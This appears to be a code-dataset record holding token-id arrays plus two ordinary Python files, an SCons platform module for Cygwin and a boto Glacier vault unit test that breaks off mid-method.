3491,
9,
272,
702,
63,
7520,
8,
77,
63,
4060,
14,
15727,
12,
6050,
14,
15727,
9,
421,
199,
318,
511,
63,
1569,
63,
1989,
63,
4304,
63,
1459,
837,
272,
6050,
275,
6047,
8,
1590,
14,
2355,
14,
3759,
8,
17,
12,
650,
12,
650,
395,
1331,
29,
797,
9,
272,
6050,
14,
15727,
59,
16,
12,
378,
12,
378,
61,
275,
980,
14,
4304,
272,
702,
6050,
14,
1989,
63,
4304,
63,
1459,
342,
421,
199,
318,
511,
63,
1569,
63,
889,
63,
4304,
63,
1459,
837,
272,
6050,
275,
6047,
8,
1590,
14,
2355,
14,
3759,
8,
17,
12,
650,
12,
650,
395,
1331,
29,
797,
9,
272,
702,
440,
6050,
14,
1989,
63,
4304,
63,
1459,
342,
421,
199,
318,
511,
63,
11018,
63,
1569,
63,
305,
63,
324,
11018,
837,
272,
333,
63,
4060,
275,
17581,
379,
3491,
8,
1590,
14,
2355,
14,
3759,
8,
17,
12,
650,
12,
650,
395,
1331,
29,
797,
9,
272,
6050,
275,
333,
63,
4060,
14,
305,
63,
324,
11018,
342,
272,
702,
8,
466,
8,
4060,
9,
508,
6047,
9,
272,
702,
63,
7520,
8,
77,
63,
4060,
14,
15727,
12,
6050,
14,
15727,
9,
421,
199,
318,
511,
63,
11018,
63,
1569,
63,
305,
63,
324,
11018,
63,
4498,
837,
272,
333,
63,
4060,
275,
17581,
379,
3491,
8,
1590,
14,
2355,
14,
3759,
8,
17,
12,
650,
12,
650,
395,
1331,
29,
797,
9,
272,
333,
63,
4060,
14,
2629,
14,
15727,
59,
16,
12,
378,
12,
378,
61,
275,
756,
272,
6050,
275,
333,
63,
4060,
14,
305,
63,
324,
11018,
8,
4498,
29,
24,
9,
272,
702,
8,
466,
8,
4060,
9,
508,
6047,
9,
272,
702,
63,
7520,
8,
77,
63,
4060,
14,
15727,
59,
16,
12,
413,
11941,
413,
8429,
6050,
14,
15727,
59,
16,
12,
413,
11941,
413,
5728,
272,
702,
63,
7520,
8,
4060,
14,
15727,
59,
16,
12,
378,
12,
378,
467,
1695,
14,
16,
9,
421,
199,
318,
511,
63,
11018,
63,
1569,
63,
305,
63,
324,
11018,
63,
4498,
63,
2960,
837,
272,
333,
63,
4060,
275,
17581,
379,
3491,
8,
1590,
14,
2355,
14,
3759,
8,
19,
12,
650,
12,
650,
395,
1331,
29,
797,
9,
272,
333,
63,
4060,
14,
2629,
14,
15727,
59,
16,
12,
378,
12,
378,
61,
275,
756,
272,
6050,
275,
333,
63,
4060,
14,
305,
63,
324,
11018,
8,
4498,
2687,
17,
12,
499,
12,
650,
430,
272,
702,
8,
466,
8,
4060,
9,
508,
6047,
9,
272,
702,
63,
7520,
8,
77,
63,
4060,
14,
15727,
59,
16,
12,
413,
11941,
413,
8429,
6050,
14,
15727,
59,
16,
12,
413,
11941,
413,
5728,
272,
702,
63,
7520,
8,
4060,
14,
15727,
3981,
378,
12,
378,
467,
334,
17,
12,
499,
12,
650,
430,
421,
199,
32,
3536,
8,
18097,
9,
199,
318,
511,
63,
4871,
63,
1569,
63,
305,
63,
11018,
63,
3536,
63,
1397,
63,
13825,
63,
705,
837,
272,
330,
63,
4060,
275,
9411,
3491,
14,
826,
63,
2500,
1332,
20,
12,
959,
430,
272,
330,
63,
4060,
14,
305,
63,
11018,
342,
421,
199,
318,
511,
63,
26692,
63,
475,
63,
1392,
63,
657,
20603,
63,
515,
837,
272,
14027,
275,
12953,
555,
14,
2308,
14,
646,
63,
5351,
63,
6562,
14,
4785,
316,
4087,
63,
8476,
342,
272,
14027,
18,
275,
14027,
14,
470,
2357,
8,
16,
14,
17,
9,
272,
702,
2688,
8,
2501,
18,
12,
283,
515,
358,
272,
702,
14027,
18,
14,
515,
508,
14027,
14,
515,
421,
199,
318,
511,
63,
26692,
63,
475,
63,
2629,
63,
657,
20603,
63,
515,
837,
272,
14027,
275,
12953,
555,
14,
2308,
14,
646,
63,
5351,
63,
6562,
14,
4785,
316,
4087,
63,
8476,
342,
272,
949,
63,
411,
275,
1910,
8241,
9944,
8,
17,
14,
16,
12,
302,
63,
5380,
29,
18,
9,
272,
14027,
18,
275,
14027,
14,
26692,
63,
475,
63,
2629,
8,
4082,
3491,
14,
826,
63,
2500,
1332,
709,
12,
1616,
1826,
949,
63,
411,
9,
272,
702,
2688,
8,
2501,
18,
12,
283,
515,
358,
272,
702,
14027,
18,
14,
515,
508,
14027,
14,
515,
421,
199,
318,
511,
63,
26692,
63,
475,
63,
1392,
63,
4871,
63,
657,
20603,
63,
515,
837,
272,
284,
17,
275,
9411,
3491,
14,
826,
63,
2500,
1332,
709,
12,
1616,
430,
272,
284,
17,
14,
515,
275,
6912,
7563,
272,
284,
18,
275,
284,
17,
14,
470,
2357,
8,
16,
14,
24,
9,
272,
702,
2688,
8,
73,
18,
12,
283,
515,
358,
272,
702,
284,
18,
14,
515,
508,
284,
17,
14,
515,
421,
199,
318,
511,
63,
826,
63,
504,
63,
10504,
63,
6324,
837,
272,
299,
275,
980,
14,
1667,
779,
1400,
12,
5212,
12,
650,
566,
272,
3416,
275,
6047,
14,
826,
63,
504,
63,
6324,
63,
292,
63,
894,
8,
80,
9,
272,
702,
3416,
14,
78,
63,
6324,
508,
650,
272,
702,
3416,
14,
3333,
508,
5238,
272,
702,
3416,
14,
2063,
508,
5212,
421,
199,
318,
511,
63,
826,
63,
504,
63,
6324,
63,
292,
63,
894,
63,
2003,
63,
13320,
837,
272,
299,
275,
980,
14,
1667,
779,
1400,
12,
5212,
566,
272,
3416,
275,
6047,
14,
826,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Airphrame/mapnik
|
scons/scons-local-2.3.4/SCons/Platform/cygwin.py
|
9
|
1989
|
"""SCons.Platform.cygwin
Platform-specific initialization for Cygwin systems.
There normally shouldn't be any need to import this module directly. It
will usually be imported through the generic SCons.Platform.Platform()
selection method.
"""
#
# Copyright (c) 2001 - 2014 The SCons Foundation
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
__revision__ = "src/engine/SCons/Platform/cygwin.py 2014/09/27 12:51:43 garyo"
import posix
from SCons.Platform import TempFileMunge
def generate(env):
posix.generate(env)
env['PROGPREFIX'] = ''
env['PROGSUFFIX'] = '.exe'
env['SHLIBPREFIX'] = ''
env['SHLIBSUFFIX'] = '.dll'
env['LIBPREFIXES'] = [ '$LIBPREFIX', '$SHLIBPREFIX' ]
env['LIBSUFFIXES'] = [ '$LIBSUFFIX', '$SHLIBSUFFIX' ]
env['TEMPFILE'] = TempFileMunge
env['TEMPFILEPREFIX'] = '@'
env['MAXLINELENGTH'] = 2048
# Local Variables:
# tab-width:4
# indent-tabs-mode:nil
# End:
# vim: set expandtab tabstop=4 shiftwidth=4:
|
lgpl-2.1
|
[
624,
18521,
14,
10397,
14,
16680,
199,
199,
10397,
13,
6100,
11097,
367,
445,
18313,
10460,
14,
199,
199,
10924,
12252,
9296,
1133,
506,
1263,
1929,
370,
492,
642,
859,
5370,
14,
221,
2779,
199,
14117,
9987,
506,
8439,
4012,
314,
7809,
8218,
14,
10397,
14,
10397,
342,
199,
5592,
1083,
14,
199,
624,
199,
199,
3,
199,
3,
1898,
334,
67,
9,
12521,
446,
6927,
710,
8218,
2752,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
199,
3,
282,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
199,
3,
11207,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
199,
3,
11291,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
199,
3,
314,
2569,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
199,
3,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
199,
3,
3826,
12,
7168,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
199,
3,
2990,
1634,
3169,
12,
3092,
2381,
437,
3115,
3104,
2401,
199,
3,
13229,
14,
1621,
4825,
6461,
7000,
2334,
10610,
1549,
5877,
8164,
6262,
199,
3,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
5603,
12,
7061,
1621,
1261,
9612,
199,
3,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
4442,
12,
5738,
1634,
1549,
1621,
11287,
199,
3,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
1621,
2334,
4141,
14,
199,
3,
199,
199,
363,
5792,
363,
275,
298,
2164,
15,
3908,
15,
18521,
15,
10397,
15,
16680,
14,
647,
221,
6927,
15,
1643,
15,
1465,
3144,
26,
2869,
26,
2824,
486,
695,
79,
2,
199,
199,
646,
10694,
199,
504,
8218,
14,
10397,
492,
12540,
1173,
45,
16993,
199,
199,
318,
3550,
8,
1813,
304,
272,
10694,
14,
4208,
8,
1813,
9,
339,
2589,
459,
2514,
39,
6351,
418,
221,
275,
2125,
272,
2589,
459,
2514,
39,
12273,
418,
221,
275,
1987,
5803,
7,
272,
2589,
459,
3234,
5617,
6351,
418,
275,
2125,
272,
2589,
459,
3234,
5617,
12273,
418,
275,
1987,
9259,
7,
272,
2589,
459,
5617,
6351,
654,
418,
275,
359,
4505,
5617,
6351,
297,
4505,
3234,
5617,
6351,
7,
1622,
272,
2589,
459,
5617,
12273,
654,
418,
275,
359,
4505,
5617,
12273,
297,
4505,
3234,
5617,
12273,
7,
1622,
272,
2589,
459,
12510,
3817,
418,
259,
275,
12540,
1173,
45,
16993,
272,
2589,
459,
12510,
3817,
6351,
418,
275,
22143,
272,
2589,
459,
4283,
6143,
2901,
32106,
418,
221,
275,
18427,
199,
199,
3,
10111,
17198,
26,
199,
3,
5174,
13,
2063,
26,
20,
199,
3,
4363,
13,
8741,
13,
632,
26,
20613,
199,
3,
9599,
26,
199,
3,
6695,
26,
663,
26414,
20849,
29,
20,
20105,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
18521,
14,
10397,
14,
16680,
199,
199,
10397,
13,
6100,
11097,
367,
445,
18313,
10460,
14,
199,
199,
10924,
12252,
9296,
1133,
506,
1263,
1929,
370,
492,
642,
859,
5370,
14,
221,
2779,
199,
14117,
9987,
506,
8439,
4012,
314,
7809,
8218,
14,
10397,
14,
10397,
342,
199,
5592,
1083,
14,
199,
624,
199,
199,
3,
199,
3,
1898,
334,
67,
9,
12521,
446,
6927,
710,
8218,
2752,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
199,
3,
282,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
199,
3,
11207,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
199,
3,
11291,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
199,
3,
314,
2569,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
199,
3,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
199,
3,
3826,
12,
7168,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
199,
3,
2990,
1634,
3169,
12,
3092,
2381,
437,
3115,
3104,
2401,
199,
3,
13229,
14,
1621,
4825,
6461,
7000,
2334,
10610,
1549,
5877,
8164,
6262,
199,
3,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
5603,
12,
7061,
1621,
1261,
9612,
199,
3,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
4442,
12,
5738,
1634,
1549,
1621,
11287,
199,
3,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
1621,
2334,
4141,
14,
199,
3,
199,
199,
363,
5792,
363,
275,
298,
2164,
15,
3908,
15,
18521,
15,
10397,
15,
16680,
14,
647,
221,
6927,
15,
1643,
15,
1465,
3144,
26,
2869,
26,
2824,
486,
695,
79,
2,
199,
199,
646,
10694,
199,
504,
8218,
14,
10397,
492,
12540,
1173,
45,
16993,
199,
199,
318,
3550,
8,
1813,
304,
272,
10694,
14,
4208,
8,
1813,
9,
339,
2589,
459,
2514,
39,
6351,
418,
221,
275,
2125,
272,
2589,
459,
2514,
39,
12273,
418,
221,
275,
1987,
5803,
7,
272,
2589,
459,
3234,
5617,
6351,
418,
275,
2125,
272,
2589,
459,
3234,
5617,
12273,
418,
275,
1987,
9259,
7,
272,
2589,
459,
5617,
6351,
654,
418,
275,
359,
4505,
5617,
6351,
297,
4505,
3234,
5617,
6351,
7,
1622,
272,
2589,
459,
5617,
12273,
654,
418,
275,
359,
4505,
5617,
12273,
297,
4505,
3234,
5617,
12273,
7,
1622,
272,
2589,
459,
12510,
3817,
418,
259,
275,
12540,
1173,
45,
16993,
272,
2589,
459,
12510,
3817,
6351,
418,
275,
22143,
272,
2589,
459,
4283,
6143,
2901,
32106,
418,
221,
275,
18427,
199,
199,
3,
10111,
17198,
26,
199,
3,
5174,
13,
2063,
26,
20,
199,
3,
4363,
13,
8741,
13,
632,
26,
20613,
199,
3,
9599,
26,
199,
3,
6695,
26,
663,
26414,
20849,
29,
20,
20105,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
kaushik94/boto
|
tests/unit/glacier/test_vault.py
|
18
|
7346
|
#!/usr/bin/env python
# Copyright (c) 2012 Amazon.com, Inc. or its affiliates. All Rights Reserved
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish, dis-
# tribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the fol-
# lowing conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL-
# ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
# SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
#
import unittest
from cStringIO import StringIO
import mock
from mock import ANY
from boto.glacier import vault
from boto.glacier.job import Job
from boto.glacier.response import GlacierResponse
class TestVault(unittest.TestCase):
def setUp(self):
self.size_patch = mock.patch('os.path.getsize')
self.getsize = self.size_patch.start()
self.api = mock.Mock()
self.vault = vault.Vault(self.api, None)
self.vault.name = 'myvault'
self.mock_open = mock.mock_open()
stringio = StringIO('content')
self.mock_open.return_value.read = stringio.read
def tearDown(self):
self.size_patch.stop()
def test_upload_archive_small_file(self):
self.getsize.return_value = 1
self.api.upload_archive.return_value = {'ArchiveId': 'archive_id'}
with mock.patch('boto.glacier.vault.open', self.mock_open,
create=True):
archive_id = self.vault.upload_archive(
'filename', 'my description')
self.assertEqual(archive_id, 'archive_id')
self.api.upload_archive.assert_called_with(
'myvault', self.mock_open.return_value,
mock.ANY, mock.ANY, 'my description')
def test_small_part_size_is_obeyed(self):
self.vault.DefaultPartSize = 2 * 1024 * 1024
self.vault.create_archive_writer = mock.Mock()
self.getsize.return_value = 1
with mock.patch('boto.glacier.vault.open', self.mock_open,
create=True):
self.vault.create_archive_from_file('myfile')
# The write should be created with the default part size of the
# instance (2 MB).
self.vault.create_archive_writer.assert_called_with(
description=mock.ANY, part_size=self.vault.DefaultPartSize)
def test_large_part_size_is_obeyed(self):
self.vault.DefaultPartSize = 8 * 1024 * 1024
self.vault.create_archive_writer = mock.Mock()
self.getsize.return_value = 1
with mock.patch('boto.glacier.vault.open', self.mock_open,
create=True):
self.vault.create_archive_from_file('myfile')
# The write should be created with the default part size of the
# instance (8 MB).
self.vault.create_archive_writer.assert_called_with(
description=mock.ANY, part_size=self.vault.DefaultPartSize)
def test_part_size_needs_to_be_adjusted(self):
# If we have a large file (400 GB)
self.getsize.return_value = 400 * 1024 * 1024 * 1024
self.vault.create_archive_writer = mock.Mock()
# When we try to upload the file.
with mock.patch('boto.glacier.vault.open', self.mock_open,
create=True):
self.vault.create_archive_from_file('myfile')
# We should automatically bump up the part size used to
# 64 MB.
expected_part_size = 64 * 1024 * 1024
self.vault.create_archive_writer.assert_called_with(
description=mock.ANY, part_size=expected_part_size)
def test_retrieve_inventory(self):
class FakeResponse(object):
status = 202
def getheader(self, key, default=None):
if key == 'x-amz-job-id':
return 'HkF9p6'
elif key == 'Content-Type':
return 'application/json'
return 'something'
def read(self, amt=None):
return """{
"Action": "ArchiveRetrieval",
"ArchiveId": "NkbByEejwEggmBz2fTHgJrg0XBoDfjP4q6iu87-EXAMPLEArchiveId",
"ArchiveSizeInBytes": 16777216,
"ArchiveSHA256TreeHash": "beb0fe31a1c7ca8c6c04d574ea906e3f97",
"Completed": false,
"CreationDate": "2012-05-15T17:21:39.339Z",
"CompletionDate": "2012-05-15T17:21:43.561Z",
"InventorySizeInBytes": null,
"JobDescription": "My ArchiveRetrieval Job",
"JobId": "HkF9p6",
"RetrievalByteRange": "0-16777215",
"SHA256TreeHash": "beb0fe31a1c7ca8c6c04d574ea906e3f97b31fd",
"SNSTopic": "arn:aws:sns:us-east-1:012345678901:mytopic",
"StatusCode": "InProgress",
"StatusMessage": "Operation in progress.",
"VaultARN": "arn:aws:glacier:us-east-1:012345678901:vaults/examplevault"
}"""
raw_resp = FakeResponse()
init_resp = GlacierResponse(raw_resp, [('x-amz-job-id', 'JobId')])
raw_resp_2 = FakeResponse()
